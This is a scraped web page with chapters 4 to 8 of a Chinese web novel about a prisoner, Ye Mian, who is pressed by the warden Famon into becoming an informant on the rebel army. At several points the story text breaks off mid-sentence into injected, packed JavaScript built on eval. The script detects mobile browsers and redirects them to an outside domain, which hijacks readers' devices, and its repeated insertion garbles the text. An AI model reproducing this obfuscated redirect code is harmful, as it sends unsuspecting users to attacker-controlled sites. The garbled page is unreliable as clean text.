0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224735|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨夜的闹剧明显是有人在背后搅水,他这才决定迂尊降贵地来看一眼。 叶绵绵跟沈说的有点不太一样。 面前纤细的少女双眼有神,身板笔直,不太像是会“为情所困”、“为爱献身”的模样。 “我知道你的身份,叶绵绵,”法蒙说,语气严肃,“我知道你隶属反抗军,我们打开天窗说亮话。” 现在轮到叶眠茫然了。 反抗军又是什么? 她怎么就隶属反抗军了? 她要反抗谁? “我无意反抗,先生,”叶眠收回胳膊,眼神变得警惕,“我是遵守秩序的良民。” “跟我做个交易。”法蒙说,表情冷得仿佛要把叶眠冻住。 叶眠不吃冷脸这套,但二人信息差太大,她无奈暂居劣势。 “你身份特殊,我可以放你自由。但条件是,回到反抗军后,要随时向我传递消息。” 短暂停顿,仿佛是在估量叶眠的价值。法蒙眉眼沉沉,语气寡淡:“包括反抗军内部权力更迭、大小方向上的决策计划、底层人员流动名单等,只要你知道的,全部写清楚,每月一次汇报,有特殊需要,也必须随时待命。” 叶眠跟他对视,仿佛在进行一场无声的对峙。 “反抗军内有我们的人,如果你敢作假或者隐瞒,我们都会知道。不同意条件的后果,我想你也清楚。”他说。 叶眠嗅到了一点危险的气息。 “不怕我离开监狱后不履行约定吗?”叶眠没问反抗军是什么,也没问你又属于什么势力,后颈浅浅地炸起一层汗毛,那是觉察到危险的本能。 “既然是犯人,就不会获得真正的自由。”法蒙说着,从口袋里拿出一个扁平的黑色方形小块,一端露出金属插口。 叶眠的视线落在他手心。 “禁制环的钥匙插件,”法蒙眼神扫过她的脸,审视着她的每一分表情,“或许有人跟你说过,三代禁制环的功能,但你现在戴的,其实是正在进行内部测试的四代。” 叶眠睫毛轻颤。 “四代环外表跟三代长得差不多,但在三代的基础上再次增加了材料强度,并且增设了更多遥控功能,来。”法蒙伸手。 很漂亮的一双手。手指长而有力,手心一道疤痕。 ——如果不是在命令她就更好了。 叶眠慢步走上前。 法蒙的手指轻轻掠过她的脖子,插件安装后,他在自己的终端上点了两下。 操作完,冰凉的手再次碰到温热的颈侧。插件被取下,叶眠的脖子上却还残留着一点令人战栗的触感。 叶眠看着他,没有动作。 “可以试试你的异能了,刚刚给你开了两分钟的权限。”法蒙说。 笑话。 她现在哪知道怎么用异能? “所以,就算我们达成了交易,哪怕我人可以离开C监,我也会受你控制。”叶眠定定地说,把一切波澜藏在平静表面之下。 “是的,我不可能任你拿到钥匙,”法蒙干脆认下,“但我可以名义上为你脱罪,解决你的二判死刑。” “我需要想想,典狱长先生。”叶眠说。 “当然可以,”法蒙露出一个礼貌但冷硬的微笑,“慢慢思考。” 叶眠出门,摸着脖子上的禁制环。 这东西耐造得没边,插口使用完已经自动隐藏起来,手指接触过的地方光滑无缝。 她在思考法蒙的提议,但同时又有股躁郁的火苗盘桓心头。 脖子上带着禁制环,被人挥之即来呼之即去的感觉……遭受言语威胁的叶眠感觉到一种轻微的、不被尊重的愤怒。 法蒙,是吧? 下午,她在输液室见到了胖子。 “谢天谢地你还活着,”胖子很高兴见到她,“我听说了昨夜医院闹出来的动静,你没事真是太好了。” “法格里布,如果现在给你一个机会,要不然给人当狗,要不然等死,你选哪个?”叶眠轮椅靠在他旁边,懒洋洋地问。 “死亡和自由,很宏大的命题。”胖子摸了摸下巴,像个思考者,但下一句话就原形毕露,“忍辱负重可以有,但当狗的话,也得是大型犬吧?我怕杀伤不够。” “我感觉,应该不算吉娃娃?”叶眠成功跑偏,自省了一下。 胖子露出一个稍微厌烦的表情:“惹,我不喜欢吉娃娃。” “话题怎么跑到这里的?”叶眠有些困惑,但她心中早有答案,于是轻飘飘地扯到正题,“嗳,你知道反抗军吗?” 胖子是她最大的信息来源,但没想到这一张嘴就是王炸,他大惊失色。 5. 第 5 章 “这是能说的吗?!” 胖子左看右看没人注意,快速抹了下脸调整表情,同时压低声音说:“还这么大声!你说的可是反抗军,联盟反抗军!” 叶眠张了张嘴。 “我知道,很多人对联盟很有异议,内部派系也有主张革命的力量,但是名义上、实际上、说到底,现在我们还是受其领导,尤其,你就站在首都星的土地上!怎么能就这么轻描淡写地说出反抗军!” 胖子连珠炮一样说了一堆,咽了下口水,最后又补了一句,“当然,我不会因此认为你是反抗军的支持者,只是祸从口出,绵……叶眠。” ——所以我是叛党,叶眠恍惚了一下。 我不只是杀人入狱的罪犯,还是受官方通缉的叛乱分子。 “反抗军是不能说的存在。”她小声确认。 “不能说,”胖子加重语气重复,“联盟不承认反抗军存在,公开社媒上也不允许出现反抗军的消息。反抗军就是乱党、反动势力,妄加评论会被有关部门抓起来审问的。” 见叶眠还有话想问,胖子眼露祈求:“有机会再说好吗我的老天,万一被人听到举报,我们就真完蛋了!你多少有点囚犯的自觉!” “好,不说了。”叶眠安抚他。 胖子讳莫如深的样子跟法蒙的轻描淡写对比鲜明,以至于显示出一种割裂感。 法蒙属于什么势力?C监外的世界现在是什么样子? 叶眠迫切地想要知道更多信息。 “讲讲联盟的事情吧,法格里布。”叶眠说。 输液室的显示屏开始播放男女痴缠的肥皂剧,颇有些索然无味。 胖子瘫在椅子上,终于恢复了往日的模样。他慢慢悠悠开口:“政治我不擅长,但历史学得还可以,你跟我差不多年纪,大学读完了吗?” 叶眠从鼻子里哼了一声:“你觉得呢。” 胖子便默认她是没读。 “三百年前星系革命,帝国燃起战乱。初代领袖们杀进皇宫,皇帝失踪后,他们创建了联盟,设置了议会、审判庭和军事战略部。不成想,从小失散的太子没死,他即位后,帝国卷土重来来,经过十年反复,整个星系逐渐稳定成联盟与帝国分庭抗礼的局面。 “联邦下属五十七个星球,其中十四个偏远星球和帝国接壤,八个星球组成联盟中心,核心三星包括首都星、银辉星、海蓝星。去年我们和帝国的战争正式结束,但小道消息说联盟军部还在垃圾星征兵,可能过两年战争会继续吧。” “战争带来死亡也带来机会,你喜欢打仗吗,叶眠?”胖子扭头。 “战争是获取和平的手段。”叶眠说。 “我不喜欢,”胖子说,“虽然被要求在首都军大读完四年,家里人建议我趁和平年代混个军部的位置,但我不喜欢。” “首都军大?”一听就很厉害的学校。 “花钱就能进,军大的海蓝星校区是法格里布家族捐的。”胖子说。 叶眠被震撼得沉默一瞬:“那你怎么在C监,嗯……避难。” “海蓝的法格里布,”胖子做贼一样压低声音,“投向了反抗军。” “……” “胖子,”叶眠眼神空洞地搭在前方,“你还有什么惊喜是我不知道的,干脆一起说了吧。” “也没什么,我们家族主要是做食品和营养液生意的,之前的继承人应该是我名义上的哥哥,我爸的私生子。” 胖子很少见地情绪低落下来,叶眠侧目。 “伊斯坦·法格里布。他绑架了我妈,带着海蓝的法格里布倒向了反抗军,现在失联了。他身上背了联盟通缉令,我爸不想他死,又担心他对我出手,干脆把我送进了C监,自己带着人去抓他了,之后就一直没有消息。族里现在是我叔叔诺亚·法格里布掌权,他不喜欢我,所以也不来接我出狱,我只能每天混吃等死。” 胖子笑了笑:“你不是问,选择自由还是当狗吗?” 他后半句没说出来,叶眠拍了拍他的肩膀:“往好处想,等你爸救回你妈、抓到你哥,说不定你就会成为新的继承人,前途一片大好。” “没那么容易的。家族不认可我,我的异能也不够强势,只有我妈的支持,现在我是弃子。”胖子对自己的认知很明确,对形势看得也很清楚。 “说是避难,但出狱都遥遥无期。” 叶眠想了想。 “胖子,要不要跟我干。”未来女帝递出了她的第一根橄榄枝。 “跟你干什么?”胖子警觉。 “你要打脸你的族人,我能把你捞出监狱,”叶眠肯定地说,“我们完全同路啊!” * 联盟的腐朽在于官官相护、政商联合。 最初的革命让半个星系摆脱了皇帝的残暴统治,其初衷是建立自由平等的新秩序。 第一代议会代表相继去世后,民主的推举与竞选制没能完整延续下来,议会逐渐被权力博弈与金钱交易渗透。如今的议会已经是商人政客们长袖善舞的社交场,是贫富差异进一步扩大的培养皿,是掠夺剥削底层人民的强盗窝。 不断出现的新纳税项、一削再削的公民福利、越发紧缩的医疗和教育资源,一系列倾斜明确的法律出台,人民艰难生活在暗无天日的噩梦里,找不到打破阶级壁垒向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224736|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的渠道。 他们无法发声,无法反抗,任何试图挑战现有秩序的人都会被贴上“反动分子”的标签,遭到无情的打击。 “虽然反抗军不能说,但是反抗军的存在是必然的。联盟近些年一直是宁肯错杀不肯放过的态度,反抗军应该是发展不太起来。”胖子做贼心虚,小声跟叶眠咬耳朵。 他热血上头接下了叶眠的邀请,但还是不太习惯把反动势力挂在嘴边,总有种下一秒就要被抓的紧迫感。 “法格里布家世代经商但不参政,只有我哥,伊斯坦,对权力有种狂热的欲望。我爸说过他,他后来就不太外显了,但我们都清楚他是什么样的人,只是没想到他会做到这么决绝。” 叶眠若有所思:“你想没想过,只靠绑架你妈妈,他怎么保证海蓝星的法格里布都跟着他一起倒向反抗军呢?” 胖子觉得理所当然:“他在海蓝星发展很多年,那些人都变成了他的心腹,对他马首是瞻。” “但是像你这样的成长背景,如果没出什么大变故,几年时间,你会从一个普通联盟公民变成死心塌地的反动分子吗?此事有疑点。你爸爸的态度也很含糊,宁愿丢下偌大家业自己出去找也不假手他人,咦,胖子,你家该不会是个大反抗军窝子吧。”叶眠说。 胖子被吓得不轻,眼睛都瞪大了:“你不要污蔑我家啊。” 叶眠的眼神意味深长。 * 晚上换药再见到护士,叶眠自觉二人已经足够相熟,询问能不能给她个终端玩游戏,意料之内被拒绝了。 “虽然现在越狱的情况少了很多,但是这种能跟外界联系的东西还是不能给你。”护士拿出一支注射器,把里面的绿色液体推进叶眠的脖子里。 “这是生长因子吗?”感受到一点微微的痛,叶眠好奇问。 “准确来说是二级生长因子,这是第二针。打完这针,五天后还要再打一次。如果不打满三针,可能你的脑壳会缺一部分长不全,或者一辈子顶着一个软脑壳。”护士笑起来,露出一口鲨鱼般的白牙,“老实呆着哦。” “会老实的,我可不想一辈子趴着睡觉。”叶眠已经趴着睡了好几天,很不舒服。 “真的吗?”护士鼻子里轻哼一声,“真老实吗?” 叶眠摸了摸鼻子,有点心虚。 “玻璃渣我帮你清理了,好好休息吧。”护士最后整理了一下叶眠的枕头,又像摸小孩一样摸了摸她的头顶。 “姐,其实我是叶眠,不是叶绵绵。”叶眠说。 “好,叶眠,”护士说,“早点休息,做个好梦” 叶眠确实做了个“好梦”。 6. 第 6 章 阴天,大火。 仿佛把整个死星塞进火炉里,从里到外,烧透,烧熔,灭绝一切。 赤脚扎了玻璃,灰烬迷了眼睛,皮肤被烘到发红发烫,呼吸间都是腾腾火气,每一步都能听到死神的呼吸。 她不想死。 同伴被赤红色吞没,最后一句话是“别回头”。建筑的支撑柱轰然塌下,就砸在离脚后跟不到十公分的地方。捂着嘴也没用,烟尘呛进鼻子里,带起撕心裂肺的咳嗽,脚步丝毫不敢慢。 心里的念头疯狂攀升,撑起摇摇欲坠的肉|体,成为新的脊梁。 ——她想逃,想要自由。 星舰落到平原,金属反射的银光刺穿了大火。 气温降低,不知何时开始下雨,雨水中甚至裹挟着雪花与冰粒,落到裸露发烫的皮肤上,带来冰凉的刺激。 她机械地跑着,无法确定:得救了吗? 等她看清围墙后的“军队”,排头的人已经举枪,瞄准了她的眉心。 “砰”。 视野整个黑了下去,仿佛戛然而止的电影。 叶眠意识到,梦结束了。 她睁眼看着天花板,没有立刻起床。 记忆空空荡荡,没有任何线索,无法确定这是真实发生过的事情,还是某种预言与暗示。 ——叶绵绵,会再次出现吗? 这个问题自然而然地浮现在心里,叶眠发现自己心跳平和,并无惶恐不安。 真奇怪。 再次正视这位前身,种种细节与直觉编织出一个神秘的形象。叶眠好奇她的全貌,却得不到任何回应。 想不出就不想了,她把目光放回眼下,从床上坐起来,明显感觉脑袋比昨天轻快了一些。 叶眠:感谢生长因子,感谢好心医生。 把早餐糊成一团的粥吃掉,叶眠再次前往点滴室,围观那个放广告比放连续剧多、放连续剧比放正事节目多的大屏。 没办法,这里能接触到外界信息的方式实在太少。 这两天,联盟最大的事情是联盟换届。新一任主席春风得意,上任后第二天就召开议会,修订粮食法律。 “新的粮食法律抬高了农民税收,但是压低了营养液的税率。”胖子来了,正好看到这一幕。 他脸上挂了两个黑眼圈,一看就是昨天没睡好——考虑了一晚上自己是不是上了贼船,没想出个结果。 “因为政府要推动营养液的普及?”叶眠问。 “是的。自然生长的植物越来越少,我们现在吃到的食物味道口感古怪,因为原材料产出依靠的是基因科技和化学手段,厨师做出来的东西早就失去了在口味享受上的价值,只是能提供生命维持必须的营养素罢了。” “营养液就不一样了,萃取浓缩营养成分后,它能完全脱离食材本身的形态和味道,你可以根据自己的偏好买到不同口感和口味,摄入方式也更简单,开盖即食。”胖子说。 “那你家的营养液生意岂不是赶上风口了,政策扶植,大赚一笔。”叶眠说。 “据我所知,没有。”胖子叹气,“萃取营养液的技术还不够成熟,生产效率也低,虽然工厂已经投入使用,但产品市场根本没打开,成本高,定价也高,性价比一般。营养液工厂建在海蓝,伊斯坦一走,这次怕是更赶不上了,粮食大企又不止我们家族。” “他们的技术比你家先进吗?” “那倒没有,至少在我入狱之前,法格里布的萃取技术肯定是最先进的,毕竟伊斯坦的异能就是手萃,我们只需要拿着瓢找葫芦。但现在政府扶持,研发经费投进去,其他家的成果自然也会有。”胖子搓了搓脸,有点焦灼。 “你现在焦虑也没用,不如想想怎么抓到你哥,把你妈救回来。”叶眠说。 “靠谁啊,靠你还是靠我,咱们连C监大门都出不去。”胖子愁眉苦脸。 “你瞧好吧。”叶眠挑眉说。 关于修改粮食法案的争议讲了二十分钟,大屏切换到广告。胖子抱着手臂好像睡着了,叶眠抓紧时间,试图从广告里的蛛丝马迹中了解外面的世界。 义肢广告,飞船广告,营养液宣传片,主席竞选回放,边境采访,审判庭案件简报……叶眠看到了法蒙。 她不由坐直了身体。 法蒙一身墨色军装从审判庭大步走出,记者一拥而上,闹哄哄地挤在他身边。 “法蒙中将是否能如期晋升上将?” “关于边境三师拒绝撤回境内您有什么看法?” “联盟与帝国的和平条约能是否可以继续维系,您觉得这次和平还能维持多久?” …… 一个男人尖声发问:“法蒙中将,边境三师是否如传言所说被反抗军渗透?审判长如何裁决,请给民众一个说法!” 法蒙驻足,漠然瞥向开口的人。 被视线凌迟的男记者瑟缩了一下,不由把话筒后撤了一些。法蒙推开眼前挡路的记者,拉开悬浮车车门:“三师军人忠于联盟,无愧于心。” 叶眠若有所思。 “噢!我想起来了!” 胖子睁开眼,他一拍大腿:“怪不得耳熟,法蒙,他是联盟的边境将领,五年前他带领边境第一师在黑水星以少胜多,被写进战场指挥学课本。经典案例,期末考试出过题,我学过的。没想到现在已经是正经中将了,他应该还不到三十岁吧。” “中将,这么高的军衔,还可以兼任C监典狱长?”叶眠问。 典狱长算不进行政核心,但是C监独立自治,中间有很多灰色空间可以灵活操作。 胖子解释:“毕竟我们跟帝国的战争打完了,和平条约公布之后,很多将士军人都回家了。法蒙应该是留军挂空衔,现在边境不需要他了,只要背景够硬,拿下典狱长这个位子不是难事。边境三师是出什么问题了吗,他怎么从审判庭出来的?” “不清楚,那个男记者怀疑他带的兵跟反抗军有勾结。” 胖子愤然开口:“怎么哪里都有反抗军的事,这些人是苍蝇吗?哪都掺一脚。” 反抗军·叶眠保持了适当的沉默,下一秒,反抗军 “如果是这个法蒙的话,那C监以后的日子可就好起来了,法蒙为人应该还是不错的,”胖子乐观地说,“那我也能好过一些,不用每天躲医院。” 事实上,这几天监狱区一切如旧。6区两个犯人因为卫生任务起了点小冲突,被名叫黑兔子的狱警一起扔进了9区多人间,昨天回来了一个,脸上是血淋淋的抓伤。 ——法蒙似乎无意插手C监事宜,如今实际上最有话事权的是狱警口中的“头儿”。 想到这里,胖子又有点忧心忡忡:“他没有任何肃清监狱纪律的行动,太奇怪了。” 叶眠想了想:“记者说,边境三师拒绝执行撤回命令,法蒙是直接领导三师的中将,那他是自愿留在首都星的吗?按你所说,家里人安排他做典狱长的话,他自己属意呢?” “嗯……”胖子思索,“跟打仗驻边比起来,待在首都星不是更舒服一些吗?” 作为联盟核心中的核心,对于“上等人”而言,首都星的繁荣安逸程度是其他地方完全比不了的。 “那就得看人了,我不觉得法蒙是贪图享受的人。” 叶眠回想记忆里法蒙的样子。能把皮大衣穿出军装的板正,眉目里藏不住的果决杀伐之气,在知道法蒙是军人之后,那些小细节就变得很好理解了。 叶眠大胆推测:“有没有一种可能性,边境三师因为某些原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224737|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因被绊住无法撤回,军部强制召回了中将?” 她从这个假设出发,接着说:“法蒙本以为很快就能归队,但是被摁在了C监典狱长的位置上,所以,对这里根本没有好感,也没有责任心。” 胖子回想了一下:“还真是,他存在感比萨利弱老鼻子了。” 叶眠说:“边境军处境微妙,如果法蒙紧咬不放,现在恐怕是深陷泥潭很难抽身,但如果他顺应某些人的想法,把典狱长这个位置当成跳板,弃军从政的路,怕不是康庄大道。” “没听说过他隶属哪个家族,但如果你猜的是真的,他上任典狱长,可能是议会和军部中某两个或几个势力的博弈,”胖子的表情也严肃下来,“这就不是我们能知道的了。” “只是猜测。”叶眠说。 如果法蒙听到她的大胆发言,可能会为这段精彩的推论鼓两下掌。 但此时此刻,典狱长正在德里克主家府邸中的会议上,迎接来自所有上位族人的施压。 “法蒙,你是你父母的独子,如今德里克唯一的嫡系,你必须进议会或者在军部任职。你是注定要进政权核心的,而不能留在边境做你的闲散将军。”卡门·德里克说。 他是法蒙的大伯父,德里克家族名义上的大族长,具有家族内最高的话语权。 法蒙面不改色:“伯父,我不可能抛下被截断退路的边境战士留在首都星,哪怕进审判庭甚至进监狱,我的态度都不会改变。德里克的政敌们一直在向我们泼脏水,你们不让我离开首都星,只会让形势僵持在原地。” “法蒙,家族的存续需要牺牲,你知道规则。”开口的人名叫贝拉·德里克。 她曾短暂担任审判长一职,如今仍在审判庭陪审团任职。明明年近六十却不见丝毫老态,她的口吻堪称温和,但语气不容违抗。 “你既然已经接下了典狱长的位置,我们以为你已经理解并且接受了家族为你安排的路。”卡门接回话头,似有失望。 “伯父,是您说,拜托我暂留首都星,是您说,德里克要借助我拿下C监,是您说,只要萨利下台我就可以回去,”法蒙的眼神平静而冷漠,“德里克的小辈们早就渗透进议会军部甚至审判庭的各个位置,你们根本不需要我重回联盟核心。” “这句话你应该去跟你早亡的父母说。”年轻的汤姆森·德里克蓄了胡子,但还是压不住自己年少轻狂的脾气。 他冷笑一声,加重语气:“问问他们,为什么德里克的附庸说,他们‘只归属于艾文·德里克、安娜·德里克’,在他们夫妻死后也‘只听从于法蒙·德里克’。” “汤姆森。”卡门警告开口。 汤姆森眼神恨恨。 法蒙的眼神暗了暗:“我父母收编的势力属于他们自己,如果有任何异议,我不介意你去地下亲口与他们对质,问问他们,德里克到底做了什么,逼他们不得不撤离家族,从头开始建立自己的势力。” 德里克在衰败,树大根深的家族养出了一群又一群蛀虫。现在能堪大任的小辈只有法蒙,这个联盟政治漩涡中的大家族正面临着后继无人的困境,法蒙的价值,他自己清楚,族中长辈也清楚。 “艾文和安娜被暗杀,至今没有结案。伯父,我说过,在凶手被绳之以法前我不会承认德里克这个姓氏,更不可能回归德里克,按你们的吩咐行事。”法蒙只想早点结束,因为这场会议注定没有结果、徒费口舌。 “如果说,最近我们查到了新的东西呢?”卡门跟贝拉交换了一个眼神。 法蒙不动声色地眯了眯眼睛。 “反抗军的指挥使,曾与你父母联系密切。近日其他案件牵连,审判庭缴获了一批反抗军的信件,其中有一封与安娜的通讯记录,或许,你会想了解一下。” 7. 第 7 章 【叶眠术后第五天】 “今天是异能检查日。”胖子绞着手指,看起来有些焦虑。 “什么检查日?”叶眠戒断止痛药第五个小时,缭绕不去的痛意让她有些烦躁。 “犯人们带着禁制环,无法使用异能,但这种禁制本质是一些化学成分、生物电流和什么其他东西……抱歉,具体我不太清楚,总之多重因素复合产生的结果。” “它对异能有害,所以监狱里每个月都会有几天是检查日,检查所有犯人的异能水平是否下降……甚至消失。”胖子咽了咽口水。 “异能会消失?”叶眠已经了解了一些异能的基础知识,但还从未听说过异能消失。 “会。就像人会生病,异能也会被削弱、暂时失灵、甚至永久失去。”胖子说。 王五带着医院的几个囚犯前往监狱检测处,见到叶眠还跟她打了个招呼,叶眠冲他笑笑,心中盘算着一会儿该怎么应付检查。 作为一个从没有尝试过异能的人,她不得不担心自己会在检查中露馅。 检测处是一栋单独的房子,门外停着两台重装车,几个身穿作战服的狱警抱着枪,扫视的眼神藏在防风墨镜之后。 李医生坐在正门之内,身前摆着显示屏,给犯人们挨个登记,发配不同检查室。 “加班呢,李医生。”叶眠说。 “唉,是。头还疼不?” “好多了,检查的人多吗?” “你们是第三批,今天一共四十多批呢,”李医生翻了登记表,给她勾上,“278号,A级?挺厉害嘛,101房间。” “多谢。” 四十多批,一批算五十个,光今天就是两千人。 好大的监狱……好高的犯罪率? 胖子戳戳她,打断了叶眠的思路:“我去103了,祝你好运,也祝我好运。” - 叶眠穿过一楼走廊,从侧面的窗户能看到院子。犯人队伍旁边,几个领队的狱警在打牌,声音粗噶放肆,与寂静的犯人们形成了鲜明的对比。 看着犯人身上破破烂烂的囚服,叶眠感觉,还是自己身上的病号服顺眼一点。 101门口,叶眠跟正好出来的犯人打了个照面。 那人囚服整洁,打量她的时候,眼睛眯起,脸上细纹带着点狠意,并非针对谁,而是一看就是亡命徒的模样。 叶眠与他错身而过,心想,这就是C监里的高级异能者吗? 冷不丁想起胖子的吐槽,她眉头微皱。 ——狱警会把犯人们关到一起,但普通罪犯跟这种人对上,只会被当成沙包打吧。 101内,不知名的仪器被堆在一侧,中央一块空地,投影出一个破破烂烂的虚拟人偶。桌子后面坐着一个白大褂,她埋头在三张显示屏后,不知道操作了什么,沙包人偶被一键刷新。 是要攻击假人吗?叶眠茫然。 听到有人进门,白大褂看了眼侧面的显示器,念:“278号,A级冰系异能,战斗型。” 她手速很快,把键盘敲得噼啪作响,眼下黑眼圈要坠到地上,厚重的眼镜半掉不掉地挂在鼻尖,“二级禁制环……嗯?三级?” 她终于抬头,跟叶眠四目相对。 “医生,”叶眠乖巧,“我需要做什么?” 情况不明,她没说自己是四代禁制环的事。 “只是异能检查员,不算医生哈,”检查员面无表情,她打开通讯,“李医生,三级环怎么送我这了?” 通讯里的声音叶眠听不到,她只能站在原地干等,好在那头办事速度还挺快,检查员面色一正:“行。” 挂了通讯,她推推眼镜:“李医生说稍等,典狱长会亲自过来,你去隔壁102吧。” “谢谢。”叶眠干脆地离开,有点遗憾不能试试虚拟沙包的手感。 又要面对法蒙…… 感觉失忆这件事很难隐藏,毕竟她连怎么调用异能都不知道。 102空空荡荡,只有两把椅子,她无事可做,绕着走了一圈,也没看到摄像头。 过了一个多钟头,门外脚步声传来,是法蒙到了。 “典狱长先生。”叶眠礼貌问候,人却坐在椅子上,没动。 依然是板正利索的穿搭,衬衣扣到最顶,连塞进裤腰的下摆褶皱都是整整齐齐。 法蒙把外套搭到椅背上,在她对面坐下。面对着毫不掩饰的欣赏目光,他不动声色地皱了皱眉。 “考虑得如何了?”他单刀直入,撇掉那点不适。 “我同意您的要求,但有一个额外条件。”叶眠说。 法蒙以为她想为了异能自由跟他扯皮,果断拒绝:“与禁制环有关的话,不行。” 叶眠比他的预期更桀骜,事关他的绝对控制,他绝不退让。 “我无意摘下这枚,项圈,”叶眠却只是笑了笑,意有所指,“我会成为您忠诚的线人。” 在法蒙开口前,她掐着节奏打断了他:“是这样的,先生,我仔细想过,我回到反抗军需要一个取信于人的理由 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224738|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。毕竟,一个没什么背景的人,反抗军不出手,我凭什么能从C监离开呢?” 法蒙皱眉,想:以你跟反抗军指挥使的关系,只要能回去,他高兴就得了,还需要什么理由吗? 但她的想法又确实有点道理。 “那你的想法是?” “我在这里认识了一个法格里布,”叶眠坦然地说出了她的目标,“您知道他家的事情吧?” 法蒙确实知道。 海蓝星的伊斯坦·法格里布投奔了反抗军,为了逃避联盟追责,他们把伊斯坦的弟弟送进了监狱避难。 这代表着法格里布的主家与审判庭有些往来,他们能把人送进来,自然也能把人送出去。 叶眠见他没有第一时间反驳,便继续解释:“我想的理由是,因为与拉米亚纳被锁进同一间牢房,我们联手自保,结下了深刻友谊,法格里布捞一个也是捞,捞两个也是捞,所以把我也带了出去。” 理由听起来是不错,但…… “法格里布并没有任何想捞拉米亚纳出狱的意思,至少到现在为止,我没有收到任何消息。”法蒙说。 “因为这本来就是杜撰的呀,”叶眠嘴角带笑,“反抗军不需要知道实情,法格里布内部变动?拉米亚纳本人是否弃子?不重要。只要带着拉米回去,加上我平安离开C监的事实,这就足够有说服力了。” “而且法格里布只是想避难,拉米本人在哪根本无所谓,甚至等我重新取得反抗军信任后,再把他送回C监都可以。”叶眠势在必得的微笑仿佛焊在脸上。 拉米亚纳·法格里布——新手村的勇者朋友,她要带走。 法蒙想通了其中关节,不得不承认,这套逻辑很完善。 “我只有一个问题。你跟陆风,需要这么多弯弯绕绕吗?”法蒙逼视叶眠的表情,想要看出一丝破绽。 陆风?谁? 叶眠表情不变,内心微惊。 老天奶,这又是哪位啊? 在她的沉默中,法蒙感觉到一丝不对,他眼神加深,似乎要把叶眠整个看穿。 叶眠心想,横也一刀竖也一刀,干! “不瞒你说,自从我的脑袋插了钢筋,有些事情就记不太清了,”叶眠试图让自己显得更诚实无害一点,甚至扯起身份认知的问题,“我甚至觉得我不是叶绵绵,你能懂吗。” “记不清了?”法蒙一字一顿地重复。 “是的。比如……陆风是谁?” 在他迫人的目光中,叶眠无辜眨眼。 8. 第 8 章 “你连陆风都不记得了?”法蒙怀疑地说。 叶眠很诚恳:“完全不记得了。” “……陆风,反抗军指挥使,据我所知,他应该是你的爱人……或者说,情人。” 这些是沈救了叶绵绵之后才告诉他的信息。法蒙此前从没想过,陆风这种身份,竟然会跟人保持稳定的亲密关系,甚至明目张胆到被别人发现。 他眼神微深,向后靠坐了一些,手臂搭在扶手上,观察着叶眠的反应。 ? ??? 叶眠心中一万把开水壶齐声尖叫。 她被震撼到凝固,表情放空,过了好几秒,才艰难地启用声带:“情……人……?” 叶眠对自己的定位很明确:反抗军马仔。 既然能得到法蒙青眼,在预期中,她原本在反抗军或许能算得上个小管理,但是…… 为什么会是指挥使的枕边人啊?! 这让她回去卧底,卧到床上吗?! “你是真不记得了。”法蒙观察完毕,得出结论。 虽然也没指望她一个女死囚能做到多少,但他还是有些失望。 法蒙耐心有限,来见叶眠就是想确认一下他们的交易。只要她同意,出狱前剩下的事情交给黑兔子做就行,不需要他本人再出马。 他对管理监狱一点兴趣都没有,反正早晚都要离开,非那些力气,不如再去抓几个反抗军。 “我会把那个法格里布跟你一起送出去,没别的事情,我先走了。”法蒙说。 “等一下!” 法蒙起身的瞬间,叶眠也霍然站起。 她一把拉住他的小臂,连珠炮一般说:“既然知道我失忆,还让我毫无准备地回反抗军,做不了什么事不说,被认作冒名顶替又是麻烦一堆,你不怕我鱼死网破吗?” 两人僵持,隔着衬衣,叶眠手心能感受到那条坚实小臂的手感与温度。她没忍住,手指微微一动。 法蒙思路被打断。 “……松手!”他忍无可忍,语气里还带着点不可思议。 她在摸什么?! 叶眠撤回右臂,双手半举,一副投降的姿势:“只是提醒你一下,如果我们好好合作,或许我能发挥出更大的作用。” “除非你并没有多需要反抗军的消息,那就继续这样无可无不可下去好了。指挥使的情人只有我一个,这是机会,”叶眠停了停,敷衍似地补充,“法蒙先生。” 她说完,突然想到:陆风不会玩多人关系吧?那有点要命了。 好在法蒙没有反驳。 他冷笑一声,抚掉袖子上被叶眠握出的褶皱,表情比几分钟前更冷肃,但动作却是配合地往椅子里一坐。 “现在不是一口一个您的时候了?你的礼貌呢,叶小姐。”他说。 “毕竟也没见你向我展示出你的礼貌,法蒙先生。”叶眠不轻不重地顶了一句。 